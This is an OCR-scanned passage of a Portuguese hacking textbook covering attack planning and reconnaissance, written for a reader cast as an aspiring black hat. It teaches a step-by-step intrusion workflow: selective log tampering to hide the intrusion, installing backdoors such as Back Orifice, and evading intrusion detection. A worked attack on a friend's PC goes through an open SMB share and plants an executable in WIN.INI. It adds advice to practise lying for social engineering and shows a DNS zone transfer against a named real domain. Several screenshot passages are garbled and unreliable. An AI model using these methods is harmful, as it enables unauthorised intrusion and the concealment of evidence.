1 "(...) como fez Rmulo, ou como quer que se chamasse o chefe daqueles caras, para conseguir mulheres para si e para seus companheiros. Deu uma grande festa(...) e convidou seus vizinhos, os sabinos (...) que trouxeram seu rei, Tito Tcio, e sobretudo suas filhas (...)" Um excelente exemplo de engenharia social daquela poca. A fase de planejamento dessa festa algo digno de leitura.
I Universidade
H4CK3R
Chegamos parte crucial de nosso curso. At aqui vimos diversas tcnicas pontuais e especficas de ataque, usando ferramentas prontas ou baseadas em conceitos muito rudimentares. Fora o exposto en passant nos captulos de Vulnerabilidades I e 11,no foi mostrada nenhuma estratgia ou planejamento. Fazendo uma analogia com o mundo real, ensinamos a apertar parafusos, a estampar peas em ao, a projetar circuitos eltricos, a instalar som automotivo e a fabricar pneus e peas plsticas a partir de derivados de petrleo. Mas no ensinamos como montar o automvel. A partir de agora, comearemos a ver as coisas de forma mais sistemtica, seguindo uma ordem lgica e fundamentando todos os procedimentos com informaes a respeito das tecnologias en40lvidas. EM TEMPO: para fins didticos, consideramos que o leitor quer se tornar um black hat e direcionamos o texto para esse objetivo. Entretanto, os autores repudiam isso e eximem-se de responsabilidade de qualquer ato decorrente das informaes aqui contidas, e seu uso de inteira responsabilidade do leitor. Lembramos que estas informaes esto livremente disponveis na Internet e podem ser facilmente encontradas.
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas
WinNT
- no Win9x, o primeiro
acesso j garante
controle
total...). Cada SO
possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito, basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema.
2141
Ataque, defesa e contra-ataque: Introduo I
Universidade 3 Ano
4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua visita, MASAPENAS ISSO! Resista tentao de apagar o log todo - um "buraco" no registro de eventos far com que o administrador descubra mais cedo do que o esperado que algum andou bulindo com seu brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de aplicar patches no sistema para remover as portas que o deixaram entrar, evitando assim que outros hackers menos habilidosos entrem no sistema e, por descuido, alertem o administrador de que a mquina foi tomada. Mas neste ponto do livro, nosso objetivo no mais agir como script kiddies, que vagam pela Internet procurando por presas fceis que saibam caar. Ao contrrio, queremos ter uma idia de como black hats, digamos, "profissionais" trabalham para alcanar seus objetivos em um alvo especfico, qualquer que seja seu nvel de dificuldade. Para tanto, vamos tentar separar, por afinidade, nossos esforos em seis passos distintos. Como guerra o assunto do momento, usaremos termos militares para nos referir a cada um deles. Talvez as cruzadas, as guerras do Paraguai, Vietn, Meganisto, os conflitos na Palestina ou at mesmo a Guerra no Golfo 2 tenham passado. Mas os cybercombates entre hackers/crackers e administradores de sistemas vo durar muitos anos, talvez sculos. ~ Passo 1: Planejamento Hummm, difcil dizer se este realmente o passo 1. Na verdade, todos os passos so interdependentes: precisamos das informaes obtidas em cada movimento que fazemos para poder planejar (e corrigir) adequadamente nosso ataque. A seqncia de atividades ser, portanto, algo parecido com 1-2-1-31-4-1-5-1-6-1, em vez da bvia 1-2-3-4-5-6. Como todo plano precisa de ajustes e como quase toda tarefa pode ser subdividida em vrias mais especficas, podemos perceber que o processo de planejamento ser contnuo durante toda a batalha e durar at bem depois da fmalizao do ataque. Cada pequeno detalhe do ataque tem seu prprio plano 1-2-1-3-1-4-1-5-1-6-1. Se voc no documentar muito bem cada um dos passos que tem a fazer, acabar com um bocado grande demais para mastigar sem estalar a boca. E no esquea: formas de esconder as provas do crime tambm fazem parte do planejamento! No basta saber o que est fazendo. necessrio saber por que est fazendo. Se voc tem uma resposta na ponta da lngua quando perguntado "ei, por que voc quer invadir minha empresa?" pode seguir em frente. Mas no se esquea de que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea que, dependendo de seus intentos, voc estar incorrendo em algum crime. 12151
] Ataque, defesa
e contra-ataque:
Introduo
I Universidade H4CK3R I
~ Passo 2: Observao Toda operao militar, seja governamental ou dos rebeldes, precisa estar embasada em informaes precisas e detalhadas sobre o alvo. O conjunto de dados necessrios incluem diversos subconjuntos aparentemente no relacionados: detalhes pessoais, como hbitos, habilidades profissionais, passatempos, famlia, amigos, antigas namoradas; informaes corporativas, hierarquia interna, clientes/concorrentes/fornecedores, dados sobre os sistemas de informao... Do monstro de dados obtido, h ainda a necessidade de garimpar informaes no disponveis diretamente, fazer referncias cruzadas e, literalmente, "ler nas entrelinhas". Vrias tcnicas podem ser usadas aqui. A mais bvia e eficaz (embora menos direta e mais perigosa) a Engenharia Social. Mas mesmo sem contar mentira alguma, possvel coletar uma coleo razovel de informaes obtidas da Internet ou de observao direta. No se afobe: pacincia a palavra-chave aqui. ~ Passo 3: Busca Com os planos, mapas e a lista de tarefas na mo, podemos comear a procurar os buracos pelos quais vamos entrar. Um arsenal numeroso e variado de scanners de portas e vulnerabilidades deve estar disposio para que todos os pontos fracos sejam revelados. Assim como no passo anterior, pacincia um dos ingredientes mais importantes desta etapa. Mas no o nico. No basta usar uma ferramenta que revele o furo de segurana se voc no entende como ela funciona. ~ Passo 4: Invaso H vrias maneiras de ganhar acesso ao sistema-alvo. Nos captulos Vulnerabilidades I e 11vimos algumas. Mas so tcnicas pontuais, que exploram fraquezas especficas de um sistema. A grande sacada saber agrupar as vrias tcnicas disponveis de maneira a atingir o objetivo maior. Alm disso, muitas vezes necessrio passar por vrios nveis de acesso at conseguir poderes suficientes para atingir o objetivo final do ataque. ~ Passo 5: Manuteno Nem todos os administradores de rede so completos idiotas. A maioria, na realidade, no . Uma vez detectada uma vulnerabilidade que possibilite um ataque, qualquer administrador provido de bom senso vai aplicar os patches de segurana, fechando o rombo. Se voc j invadiu uma vez por um buraco na segurana ou uma falha em algum programa, possvel que sua prxima tentativa, dias depois, seja infrutfera: a porta estar fechada. Uma vez dentro dos muros do castelo, necessrio instalar meios para que se possa entrar e sair sem ser notado, e que sejam independentes das brechas de segurana do sistema.
12161
Ataque, defesa e contra-ataque: Introduo [
Universidade 3 Ano
~ Passo 6: Evaso "J invadi, j copiei, j desfigurei, j apaguei e j destru, e ainda deixei portas secretas por onde entrar e sair sem ser incomodado. E agora, fao o qu?" Bem, pequeno gafanhoto, est na hora de apagar os rastros que voc deixou. Essa etapa comea j na preparao do ataque, escolhendo as ferramentas e procedimentos menos ruidosos, tomando cuidado para no deixar aparente que est logado no sistema e, principalmente, tentando descobrir antes de entrar se h um sistema IDS ativo. Depois de fazer o que tem de fazer (defacement, cpia de arquivos e programas, lanamento de outros ataques), apague criteriosamente suas pegadas nos arquivos de registro do sistema, tomando o cuidado de no danificar os outros dados registrados. uma falha amadorssima "limpar" demais o logoOutro cuidado que deve ser tomado j nos passos iniciais de planejamento a preveno contra sistemas de deteco de intrusos, os famigerados IDSs.
o portal
Estamos prestes a entrar no lado negro. Uma vez l, muitos ficaro tentados a no sair. um risco que todos temos de correr. Nas prximas pginas veremos, de forma detalhada, como levar a cabo cada um dos passos vistos aqui. A escolha toda sua, caro leitor.
A melhor maneira de organizar as idias pegar um pedao de papel (prefiro papel tela do computador) e rabiscar algumas coisas. As pessoas normalmente perguntam-se por onde comear, esquecendo-se de que a nica coisa que sabem aonde querem chegar. Portanto, vamos comear pelo fim. Nosso objetivo pregar uma pea em nosso amigo com um programa inofensivo e incmodo (chato, mesmo!).
PROGRAMA CHATO
12171
Introduo
I Universidade
H4CK3R
S esse quadro j nos suscita vrias dvidas: 1. Qual programa usaremos? 2. Como ser instalado? 3. Ser disparado por tempo ou eventos? 4.Tem tamanho mximo defmido? 5. O seu amigo entendido de computadores e vai saber o que fazer quando o programa disparar? 6. Quer que o programa diga o nome do autor da brincadeira ou que mantenha segredo at que voc ria bastante? Uma vez formuladas as perguntas iniciais (no se preocupe, outras aparecero...), temos de gastar um pouco de tempo pensando e pesquisando para respond-las. Algumas respostas plausveis poderiam ser: 1. Seu amigo torcedor fantico da Ponte Preta. Doente. Possui faixas, camisas oficiais de diversos anos autografadas pelos jogadores, scio fundador do clube... Que tal uma animao em Flash, criada por aquele seu colega webdesigner num favor muito especial, comemorando a derrota da Ponte Preta para o XV de Piracicaba? Animao em Flash? Isso quer dizer que sua vtima usa Windows, certo. Se ele usar Mac ou algum Unix isso no vai funcionar. Este um timo exemplo de como o planejamento, embora esteja indo bem, precisa de ajustes. Imagine se voc tivesse enviado a animao "na louca" e descoberto, posteriormente, que no funcionou porque seu amigo/vtima usa FreeBSD? Temos, ento, de, por meio de Engenharia Social (ou com a ajuda do Nmap,...) saber qual o sistema operacional da vtima. Por engenharia social, descobrimos que o Windows Me. 2. A instalao outro problema. Voc pode fazer seu amigo instalar a bomba para voc, basta envi-la por e-mail dizendo que um f1lminho legal. Mas a vtima desconfiada (voc j sabe disso, o conhece h anos), e no vai abrir qualquer coisa que chegue. Voc poderia elaborar um e-mail HTML com um VBScript que instalasse o programa automaticamente, mas voc teria de saber qual o cliente de e-mail que ele usa. Por engenharia social, descobrimos que ele usa o The Bat (www.ritlabs.com/the bat - os autores recomendam!!!), que premiadssimo justamente por ser imune a essas coisas. Ou ainda usar alguma vulnerabilidade do Windows. Para isso precisaramos rodar um scanner qualquer, como o Nmap. Mas no temos o IP dele, ento necessrio arranjar um artificio para descobri-lo. Voc tem de encontrar uma forma de fazer com que o Flash dispare depois de um tempo ou responda a um evento. As trs opes mais simples, sem precisar interagir a fundo com o prprio sistema operacional, so: 12181
Ataque, defesa e contra-ataque: Introduo
Universidade 30 Ano
~ Um trojan, para voc controlar a bomba remotamente; ~ O Flash ser "fundido" a um programa do sistema (como a calculadora ou o bloco de notas) para que, quando este for aberto, aquele entre em operao; ~ O prprio Flash ser rodado na inicializao e possuir um timeout de pelo menos uma hora para entrar em ao; ~ Uma combinao de todos eles. Nesses casos, quanto menor melhor, mas precisamos Passos 2 e 3: saber como a conexo do nosso amigo para determiObservaco e b ---nar o tamanho da animao. Se a vtima tiver um modem do Determinao de 33,6 K, certamente perceber se estivermos fazenambiente - Engenharia social para do um upload de uma animao Flash de 2 Mbytes... determinar SO e MUA Perguntando, voc descobre que ele assinante de um Resultado: WinME e The Bat grande provedor nacional de acesso rpido - olha , uma informao que pode ser til mais tarde... Seu amigo esperto, engenheiro eletrnico e um usurio avanado de informtica. Mesmo assim, Busca brechas por - Scan para obter falhas e no entende dos detalhes internos de software (o determinar quais usar Scanners escolhidos: Nmape negcio dele hardware) e sempre pede ajuda a voc Nessus para "calibrar" o Windows dele, quando "d pau". (quem sabe no por isso que voc, inconscientemente, est fazendo essa sacanagem?) Passo 4: Invaso De jeito nenhum! Nego at a morte! Escolha do programa-bomba Humm... se voc colocou todas essas perguntas, resChato Programa postas e ponderaes sobre as respostas em uma fo- Animao em Flash executvel lha de papel, aps algum tempo lendo e relendo o no Windows - Tema: Ponte Preta O x 1 XV de resultado, chegamos ao diagrama ao lado. Observe a Piracicaba dvida que surgiu no ltimo quadro: como invadir? No sabemos quais as vulnerabilidades existentes, pois na etapa "Busca por brechas" no tnhamos o IP da vtima para procur-la. H diversas maneiras de obter o IP de algum. Uma e Controle Camuflagem Flash comtempo de espera delas perguntando. A maioria das pessoas no vai Instalado no WIN. INI para ser escondido o bastante, mesmo desconfiar que para algo "malvado". Mas no o assim facilmente removvel caso do seu amigo. Voc costuma conversar por ICQ com ele. H alguns anos, o prprio cliente de ICQ diria o IP da outra pessoa. Hoje h a possibilidade de camuflar Passo 4: Invaso essa informao. Dependendo da verso, entretanto, Mtodo de invaso e das opes escolhidas na configurao, mesmo os mais modernos podem revelar tal informao. Isso ??????????? porque o ICQ de ambos os lados da conversa pode se conectar tanto diretamente quanto atravs de um servidor central.
-
12191
I
Introduo
I Universidade
H4CK3R
Passos 2 e 3: Vamos fazer uma tentativa. Espere Observao e busca ele entrar on-line e inicie uma conDetenninao do ambiente Determinao do IP - Engenharia social para - ICQou MSN Messeger versao. Desligue tudo o que acessar Transferncia de arquivos determinar SOe MUA - Resultado: WinME e The Ba t Internet em seu computador: - Netstat -na I e-mail, navegadores, eMule, KaZaA, I -. MSN Messenger, deixando apenas o Busca por brechas ICQ.Troque algumas mensagens com - Scanpara obter falhas e determinar quais usar ele e pea que ele lhe envie algum ar- Scanners escolhidos: Nmap e Nessus - Resultado: C",=tilhamento de quivo razoavelmente grande (MP3, Arquivosabertos (TCP139) imagem, programa, qualquer coisa). Antes de aceitar a transferncia, abra uma janela do MS-DOS. Passo 4: Invaso Durante a transferncia, use o comando netstat -na Escolha do programa-bomba Programa Chato na janela do MS-DOS,da mesma maneira como voc - AnimaoemFlash executvel no Windows fez nos captulos de Redes 11e Vulnerabilidades 11.Na - Tema: Ponte Preta Ox 1 lista de conexes que vai aparecer, as ltimas delas '.01de Piracicaba so os IPs da sua conversao e da troca de arquivos. O IP remoto mostrado o dele. Essa dica funciona com qualquer transferncia de Camuflagem e Controle dados on-line entre os dois computadores. E-mail no - Flash comtempo de espera - Instalado no WIN. INI para ser on-line: quem transfere o servidor SMTP, no a pes- escondido o bastante, mesmo assim facilmente removvel soa que o enviou. No caso do MSN Messenger, do AOi Instant Messenger e do Yahoo! Messenger, as mensagens so sempre intermediadas pelos respectivos servidores, portanto, o netstat vai mostrar o IP do serviInternet Explorer dor Passport.NET, por exemplo... Com uma exceo: - \\IP.VTIMA - Copiar bomba para a transferncia de arquivos ainda peer-to-peer. Se o C: \ Windows Edi tar WIN. INI seu amigo usar MSN e no ICQ, pea para ele enviar -Esperar um arquivo grande. O IP dele certamente aparecer na lista do netstat com este artifcio. Agora que temos o IP da vtima, vamos escane-Ia. Usando o Nmap, descobrimos que, por descuido, nosso amigo engenheiro deixou os compartilhamentos de disco ligados e sem senhas. Nada mais simples do que abrir um Internet Explorer e digitar \\IP.DA.VITIMA.AQUI. Pronto! Voc j est na mquna dele, pode abrir e editar arquivos. Com essas alteraes, nosso diagrama j est funcional. Vamos elaborar, agora, uma lista seqencial de etapas para nosso ataque? Afmal,no podemos fazer tudo ao mesmo tempo, ento temos que organizar as coisas. Na prxima pgina est uma lista de passos. interessante de se deixe um espao abaixo de cada item, para que se possa escrever os resultados, observaes ou problemas encontrados. Os comentrios entre parnteses no fazem parte do roteiro. So apenas orientaes para que a elaborao do roteiro cumpra o objetivo pretendido.
-
1220
Universidade 3 Ano
(Acostume-se a colocar informaes especficas em seus roteiros, como programas a usar, opes e configuraes desses programas, endereos e portas a atacar e protocolos utilizados. No apenas passos genricos. Um ataque tem de ser rpido para ser efetivo e indetectado. Ficar procurando as opes escondidas de um programa durante a invaso pedir para ser apanhado!) 8. Copie o arquivo winvxd.exe para C:\windows. (Cuidado com arquivos muito grandes. Lentido na Internet seguida de atividade no disco rgido so eventos suspeitssimos!) 12211
Introduo
I Universidade
H4CK3R I
e, na, linha
"run=",
digite
claro que nosso ataque foi sem importncia, a vtima fcil e o programabomba no muito elaborado e facilmente detectvel. Mas, ora veja, funciona! Nosso roteiro tambm bem simples, embora um ataque por meio dele j seja possvel. Mas por que no algum nvel de refmamento? Algumas idias:
~ Preparar um Back Orifice (de preferncia o B02K) e instal-Io junto com o Flash no win.ini. Mesmo que tudo seja descoberto (o win.ini restaurado e o Flash apagado), nosso backdoor vai estar no registro do Windows e, portanto, sempre ativo quando a vtima ligar o computador. ~ Por falar em registro, us-Io em vez do win.ini. Tal procedimento precisar de passos a mais, a criao de um arquivo com extenso .reg para atualizao do registro da vtima e provavelmente um conhecimento mais profundo sobre o funcionamento do mesmo (consultar captulo sobre Plataformas Windows). ~ Lugares bvios so os ltimos a serem procurados. Certa vez, algum havia feito uma brincadeira comigo. Meu MS-DOS 5 congelava no final do carregamento do Config.sys. Isso j era uma dica, mas eu ignorei. Decidido a procurar o problema em vez de reinstalar o sistema todo (j havia muitos programas, alguns dos quais precisavam ser instalados pelo pessoal do CPD), dei boot por disquete e abri o Config sys, comentando todas as linhas, uma a uma, para verificar se travavam. Nada feito. Vasculhei infrutiferamente todo o sistema procura de problemas. Depois de duas horas, decidi abrir o AUTOEXEC.BATs por desencargo de conscincia. Quase ca pra trs. No incio do arquivo, duas linhas:
@ECHO OFF C:\AUTOEXEC.BAT
No preciso
2221
Ataque, defesa e contra-ataque: Introduo [
Universidade 3 Ano
12231
Introduo
Observaco .
Captulo
11
'You have to be tru5ted
by the peop!e you !ied to 50 when they tum their back5 on you you have the chance to put the knife in "1
1 "Deves ter a confiana / das pessoas para quem mentiste / pois quando te virarem as costas / ters a chance de enfiar a faca." Do lbum AnimaIs (Pink FIoyd), de 1977.
I Universidade
H4CK3R I
A diferena entre os script kiddies e os black hats mais espertos comea nesta fase (na verdade, comea na anterior, mas muitos black hats reconhecidamente bons tambm negligenciam a fase de preparao...). Assim como quadrilhas observam bancos por meses e seqestradores acampam em frente casa de suas vtimas, atacantes digitais dignos desse nome tm de observar suas presas longamente antes de mergulhar sobre elas como falces sobre frangos-de-leite. Este captulo tratar rapidamente de algumas reas nas quais o candidato a invasor poder procurar para angariar informaes sobre as empresas, pessoas e, principalmente, seus sistemas computacionais e de conectividade. Resumindo: quer brincar na rua? Antes faa o dever de casa!
Engenharia Social
No captulo 6, tivemos um primeiro contato com a arte de mentir. Como a mentira, a impostura e a desonestidade so to antigas quanto os primeiros macacos falantes que vagavam por a, no h meios descrever todos os procedimentos possveis. No vamos, aqui, chover no molhado e repetir o que dissemos no captulo 6. Use a maldade que 100% das pessoas tm escondida por a em algum canto e desenvolva seus prprios mtodos. O que funcionou para Mitnick pode no funcionar para voc. Dicas? A vo algumas: ~ Faa aulas de teatro. Dica bvia.
~ Impostao de voz, segurana e fIrmeza so importantes. ~ Procure livros sobre programao ~ Acostume-se hbitos.. . neurolingstica.Vai Faa aulas de canto. quebrar um galho.
~ Minta para seu chefe, para sua me, para o padre em confIsso. Treine a mentira. Ela sua ferramenta mais poderosa. Nem todos os scanners do mundo podem descobrir as coisas que simples perguntas feitas com a entonao correta conseguem em cinco minutos.
No basta saber o que est fazendo. necessrio saber por que est fazendo. Se voc tem uma resposta na ponta da lngua quando perguntado" ei, por que voc quer invadir minha empresa?", pode seguir em frente. Mas no se esquea de que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea que, dependendo de seus intentos, voc estar incorrendo em algum crime.
12261
Ataque, defesa e contra-ataque: Observao
Universidade 3 Ano
A grande teia
Posso contar nos dedos a quantidade de coisas que no achei pela Internet. Certa vez, estava ajudando minha namorada francfona a procurar algumas letras de "chansons" para inserir em uma compilao que ela estava fazendo. Uma das msicas, "a ira" (que possui diversas verses com diferentes letras), estava sendo duro de encontrar. Segue o dilogo: - No consigo achar esta aqui. -Qual ? - "a ira ", vrias gravaes, entre elas a de Edith Piaf. -J tentou no All The Web? -J, tambm no Google e no Alta Vista. -Como vc tentou? -Procurei pelo nome, s. Depois tentei nome da msica mais Edith Piaf. -Posso tentar? Normalmente, eu uso, para letras em ingls, o nome da msica, o nome do artista mais a palavra lyrics. Como letra em francs? -Parole. - Tenta a: a ira piaf parole Ela tentou e, para sua completa estupefao, encontrou vrios sites com as letras, inclusive alguns contendo referncias cruzadas, as vrias verses agrupadas e aspectos histricos e sociais ligados a elas. A Internet, no geral, e a World Wide Web em especial, so prdigas em informaes sobre sua pessoa, seja ela fsica, ou seja jurdica. Muitas delas foram colocadas l por ningum menos que voc mesmo. Seus funcionrios, se voc os tiver, tambm so grandes fontes de informao. Vejamos.
Observao
I Universidade
H4CK3R I
Isso posto, fcil imaginar que os robs um dia chegaro ao SEU website. Talvez voc ou sua emA A- -- _~I,,"Id.m... -i presa no tenha um website, mas GOCtO te'" jl<enrique Cesar Ulbrich I -GoogIo] seguramente usa e-mails e assi"""0 . GJ_-",w",Q ,,~, na listas de discusso. Ou acessa -,::r::l.~.l~ 'I ,~--,, ,~-~""'_.,.,_."''''''''''\>oU'''',20000,{'mo,,'" ",. ~~" a Usenet. Ou ainda se inscreve em Geoa."'",com. .,H_C_U_1J3I25aOOO "".,... ,"H"".Em ~d'" P.""_~I" outros sites pblicos, como o -g"""""""'_,,"'_3i,maOOOf3iOl. G"""""","_. deblan~<>Ortua""",' materia"""" """'. 00-. _lh~d,~__,"""""''''oL. """M ""."",,,. "'OM, H_eHotmail, e deixa seu perfil vis''',9'OC',_oomm._''''''31200'"I1)I_84,I. ,,,. _. """,s,m"'vel ao mundo. S a ttulo de exem{um ,_."" do~w oo","mW""" Iisl5.""""".oroJcjoormailismt>dlenJsmJ03-Fe""""" {)d.[ ,..,,'"' ,,," ""riM{ From --"_"."",,"'Moo''''314,''',112003 From, -"d___'" plo: eu (Henrique) no possuo {"_C_U-I Dato Moc'''' 3 "",,,.2003_um website prprio. Mas sou bas- "'.'m=""--'h!ili!!! ,"o m""'" ,].8",,'1, m ,.,"''''' " Ctante ruidoso na Internet; assino U""","--"_"",,,."'Moo'" 314,""11 OMT2003,... _~m",,,,,,,""'~'__I.200>-f,,,~,,'OOO3".hlm'.".~.", ,,, [Mo' ,u""oo '" "".~m".= j dezenas de listas e tenho alguns ,,_''''''00 "_C_U_--,,", artigos publicados em revistas e w_.R~,,_"" "'wby D.,., Enomtro do 0jornais. Uma pesquisa pelo meu nome resulta em:
'
I;
C_U""",",03I24>2000
1127,01-
u"""'"
DATE,"'~'1200'
00,11',
SUBJEC7 RE m."'.'{
"""""'
RdoL. .,.
10 "'..me
, . [T..",,",
UM "'...w ]
R" H"''',<3oo"",
,"'_.""",'dabi~'_'-JI<,"~"OO'ldoorn,,."w.._200101Irn.,oooo2.htm'.
'"
"" Em ~'h<"
~.
--.,-~ ,
,.
"
--,,~._,---:"~::iI~,-~*~--
Experimente procurar pelo seu nome, e pelo nome de sua empresa para ver o que voc disse e o que dizem de voc. Procure tambm pelos nomes de seus empregados, fornecedores, clientes.Voc ver que possvel angariar diversas informaes dessa forma. Todos os mecanismos de busca possuem refmamentos na procura. possvel procurar por formato de arquivo, data, ocorrncia, partes de URLsou mesmo pginas que apontam para uma URLem especial. Por exemplo, usamos o Google para procurar sites que apontam para a Conectiva (www.conectiva.com.br).
,,-..---
C","""do"'Cd"'M,,,,i.~'
._-~",.",""""","."",,"~-~,..
O resultado seria este: Observe o comando na rea de busca do Google. O "1ink:" funciona muito bem no Alta VtSta (www:altavista.com) e no AllThe Web (www:a1ltheweb.com),que tambm possuem diversas opes de busca avanada.
2281
Ataque, defesa e contra-ataque: Observao
Universidade 3 Ano
At tu, Brutus?
Mas o perigo pode estar em casa! Voc j olhou seu site pessoal ou o de sua empresa? Em uma garimpagem bem-feita (ajudado, pasme, pelo mecanismo de busca que o pessoal da Web colocou para auxiliar o internauta!!!), o atacante pode possivelmente angariar algumas dessas valiosas informaes: ~ Tecnologia: v pgina de TI do seu site. Quero ser mico de circo se o pessoal da rea no colocou uma lista completa com as tecnologias em uso. possvel que, at por questes contratuais, sua empresa seja obrigada a colocar um selo Powered By no site. Mesmo no sendo, a maioria dos sites possui. Empresas e funcionrios normalmente so orgulhosos das solues tecnolgicas que ajudam a implementar e ficam tentados a colocar informaes
~ Relacionamentos: muitas empresas divulgam (intencionalmente ou no) informaes sobre seus parceiros, fornecedores, clientes e consultores. Muitos at colocam dados sobre a concorrncia! Algum pode estar usando as informaes do SEU site para atacar a empresa para a qual voc trabalha. Mesmo funcionrios costumam colocar informaes restritas em seus sites pessoais. ~ Informaes corporativas: cultura, linguagem, funcionrios importantes, premiaes, operrio-padro, f11iais, nomes, nmeros, ramais e e-mails de funcionrios... Esse o tipo de informao possvel de obter apenas pesquisando o site da empresa. Alm de facilitar ataques remotos, possvel personificar o "funcionrio-padro" da empresa para penetrar em suas instalaes tsicas. Uma vez dentro, o de sempre: engenharia social, sniffers, backdoors, roubo de documentos e mdias... ~ Notcias: cuidado com os comunicados de imprensa e notas publicadas como notcia em seu site. Informaes importantes podem vazar nas entrelinhas. Quem, como os hackers, est habituado a enfurnar-se em depsitos de lixo e caambas de detritos para angariar fragmentos de informao (sujos de Ketchup e papel higinico usado) no ter nenhuma dificuldade em pegar dados prontinhos organizados na rea de notcias do seu site e cruz-Ios entre si.
12291
Ataque, defesa e contra-ataque: Observao
I Universidade
H4CK3R
Clique no boto PESQUlSAR.A janela Whois vai mostrar os dados de registro formatados nesse padro. Em nosso exemplo (o whois de digeratLcom.br), temos:
I "",",,,,,I
,,,,,,,ight","'re." , ""' "'~" proot'dod f~ inf~oo''"1''''' , "".. .,.,.. j>ff~'in.M""", inf_oo.-, ~ , "''''''''''''in.._""""""""""..,,,,oo. ,,, ,,,,,,, ,,.,.,...,,,,,,,,..,,,,, ,,
2003-<)4-<181<),,,,21 (BRr ..",00)
v."""",."".,.,a",""" ,-,.,.,,,-. .R".........v... """"'''I>w~''''''' """'-"';'''';0 "~=,.-.,,. , ro..''',,, ,,"'."" R"''''. 00- ,. ""... -"" "~1I2OO3. C"" ""''''' .p,~=,."",~''',"-,""",,''. .T,"""00 R" '" ""a,","~"~~""'_d.. ",""<'<ONS. '-" 00l12000l C"""'."',, w""'_~"M """'"'N~M""".",,,."..,.~_"'R,,_.,,, W""'"'M""""M """"',. R.,.".""D.mi""" R.m"".oo ""..,. 30""'_", CNP./ICP'. Cio" ""''''' ~. ,"_~"M
N_.
PES<IU'5AR
~br
_n'.
DI""'TI.""."
"."."""", ""_",",,",,i .n""""" ... """". wbo. "'. 12AndM .n""""" 014".{)Q1'''' P",J. -"
,.1"'_, (D11) 3217-2600 [) ""',,...,.,""" "...i. """ ""mi", U\Nl3 "",,"',. """ _ioo,D''', 1151.""""'.""."
S na base de dados Whois temos a razo social da empresa, o nome completo dos responsveis por ela, endereos, telefones, e-mails...J uma excelente fonte de dados grtis. Mas atente para este detalhe:
servidor DNS:NS1.LQCAWEB.Co.!.BR
status DNS: 06/04/2003 AA ltimo AA: 06/04/2003 servidor DNS: NS2.LQCAWEB.Co.!.BR status DNS: 06/04/2003 AA ltimo AA: 06/04/2003 criado: 16/01/1998 #82624 alterado: llj03/2003 status: publicado
Noooossaaaa!!! J sabemos quais so os dois servidores de DNS que esse domnio usa. Apenas com os dados que garimpamos na Web, j somos capazes de fazer diversas malvadezas com o domnio.
1230
I
Observao r
Universidade 3 Ano
H ferramentas de linha de comando, tanto no Windows como no Unix, que podem recuperar informaes valiosas sobre DNS para os hackers. Adicionalmente, o Nessus um exemplo de scanner de vulnerabilidade que, entre outras coisas, recupera informaes de servidores DNS. O grande problema da tecnologia de DNS so as transferncias de zona ou zone transfers. Quando um provedor ou empresa pe no ar um sistema DNS, normalmente coloca mais de um servidor (posicionado em localidades diferentes) para atender aos programas que dependem dele. Um deles ser o DNS primrio, os outros sero secundrios ou escravos. O zone transfer um procedimento criado para transferir dados entre todos os DNSs daquele domnio ou zona (zona um conjunto de vrios domnios, ou antes, de vrios subdomnios num mesmo domnio). O que ocorre que apenas hosts autorizados deveriam poder fazer transferncias de domnios. Se meu DNS primrio 204.200.100.99 e meu secundrio 204.200.200.250, apenas o 250 poderia solicitar zone transfers do 99 e viceversa. Observamos, entretanto, que quase a totalidade de DNSs ao redor da Terra permite zone transfers solicitados a partir de qualquer n da Grande Rede. Um exemplo prtico. Em uma estao com linux, usaremos o comando digoEsse comando pode ser encontrado tambm em alguns Unix. Abra um terminal e digite: $ dig @NS1.locaweb.com.br digerati.com.br AXFR A sintaxe simples. O primeiro argumento o nome do servidor DNS(poderia ser tambm o nmero IP). O segundo argumento o domnio que se quer pesquisar e o terceiro (AXFR)indica que queremos fazer um zone transfer. A sada do comando :
; DiG 9.2.1
@NS1.1ocaweb.com.br
printcmd
digerati.com.br
AXFR
;; global options: digerati.com.br. admin.1ocaweb.com.br. digerati.com.br. digerati.com.br. digerati.com.br. digerati.com.br. digerati.com.br. ftp.digerati.com.br. smtp.digerati.com.br. pop.digerati.com.br. mail.digerati.com.br. www.digerati.com.br. wap.digerati.com.br. sqlserver.digerati.com.br. webmail.digerati.com.br. smtp-gw.digerati.com.br. digerati.com.br. admin.1ocaweb.com.br.
3600
8 O O O O O IN IN IN IN IN O O O O O O O O O
3600
8 3600
SOA hm23. 600 86400 3600 NS1.1ocaweb.com.br. NS2.1ocaweb.com.br. NS3.1ocaweb.com.br. 200.246.179.102 10 smtp-gw.digerati.com.br. A 200.246.179.102 A 200.182.98.136 A 200.182.98.136 A 200.182.98.136 A 200.246.179.102 A 200.246.179.102 A 200.246.179.82 CNAME pop.digerati.com.br. A 200.182.98.155 SOA hm23. 3600
;; Query
time: 881 msec ;; SERVER: 200.246.179.123#53 (NS1.1ocaweb.com.br) ;; WHEN: Tue Apr 812:28:502003 ;; XFR size: 17 records
12311
] Ataque,
defesa e contra-ataque:
Observao
I Universidade
H4CK3R I
Creeedooo! Um simples comandinho nos disse que o servidor de SMTP da empresa est em 200.182.98.155, e que os servidores Web e FTP dividem a mesma mquina em 200.246.178.102 . No estamos considerando, por enquanto, interfaces de rede com mltiplos IPs, mas, de qualquer forma, a realidade pode ser um pouquinho diferente da que foi mostrada na lista. Mesmo assim, um excelente ponto de partida para fazer mais pesquisa, comear miniataques (lembra deles? 1234 1234...) e elaborar seu plano de ao. Outros exemplos de ferramentas para fazer zone transfers so o j citado Nessus (com verses para Unix e Windows), o host, disponvel na maioria dos Unix, e o veterano nslookup, presente tanto em Unix como no Windows. Note que o nslookup para Linux no faz zone transfers!
Defesa e contra-ataque
